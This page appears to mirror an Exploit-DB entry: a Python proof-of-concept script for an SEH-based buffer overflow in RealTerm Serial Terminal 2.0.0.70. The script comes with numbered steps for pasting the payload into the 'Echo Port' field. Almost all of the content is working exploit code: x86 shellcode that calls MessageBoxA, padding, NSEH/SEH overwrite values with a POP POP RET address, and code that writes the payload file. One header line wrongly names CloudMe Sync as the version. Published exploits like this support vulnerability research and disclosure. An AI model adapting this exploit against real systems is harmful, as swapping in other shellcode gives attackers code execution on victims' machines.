RealTerm Serial Terminal 2.0.0.70 – ‘Echo Port’ Buffer Overflow (SEH) - 体验盒子

作者： Matteo Malvica

日期： 2019-02-21

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/46441/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH)

# Date: 21.02.2019

# Exploit Author: Matteo Malvica

# Vendor Homepage: https://realterm.sourceforge.io/

# Software Link: https://sourceforge.net/projects/realterm/files/

# Version: 2.0.0.70

# Category: Local

# Contact: https://twitter.com/matteomalvica

# Version: CloudMe Sync 1.11.2

# Tested on: Windows 7 SP1 x64

# Originail PoC https://www.exploit-db.com/exploits/46391

# 1.- Run the python scriptit will create a new file "carbonara.txt"

# 2.- Copy the content of the new file 'carbonara.txt' to clipboard

# 3.- Open realterm.exe

# 4.- Go to 'Echo Port' tab

# 5.- Paste clipboard in 'Port' field

# 6.- Click on button -> Change

# 7.- Check 'Echo On' or

# 8.- Box!

import socket

import struct

'''

badchars: 0x20,0x0a

arwin.exe user32.dll MessageBoxA

arwin - win32 address resolution program - by steve hanna - v.01

MessageBoxA is located at 0x747cfdae in user32.dll

'''

shellcode = (

"\x33\xc0"# XOR EAX,EAX

"\x50"# PUSH EAX=> padding for lpCaption

"\x68\x7a\x6f\x21\x21"# PUSH "zo!!"

"\x68\x61\x76\x61\x6e"# PUSH "avan"

"\x8B\xCC"# MOV ECX,ESP => PTR to lpCaption

"\x50"# PUSH EAX=> padding for lpText

"\x68\x6e\x7a\x6f\x21"# PUSH "nzo!"

"\x68\x61\x76\x61\x21"# PUSH "ava!"

"\x8B\xD4"# MOV EDX,ESP => PTR to lpText

"\x50"# PUSH EAX - uType=0x0

"\x51"# PUSH ECX - lpCaption

"\x52"# PUSH EDX - lpText

"\x50"# PUSH EAX - hWnd=0x0

"\xBE\xae\xfd\x7c\x74"# MOV ESI,USER32.MessageBoxA <<< hardcoded address

"\xFF\xD6") # CALL ESI

pad1="\x90"*(142-len(shellcode))

pad2 = "\x42" * 118

nseh = "\xEB\x80\x90\x90"

jmp_back = "\xEB\x80\x90\x90"

short_jmp = "\xEB\x12\x90\x90"

seh =struct.pack('<L',0x00406e27)# 00406e27# POP POP RET

nops = "\x90\x90\x90\x90"

payload = pad1+ shellcode + nops + jmp_back + pad2 + nseh + seh

try:

f=open("carbonara.txt","w")

print "[+] Creating %s bytes pasta payload.." %len(payload)

f.write(payload)

f.close()

print "[+] Carbonara created!"

except:

print "Carbonara cannot be created"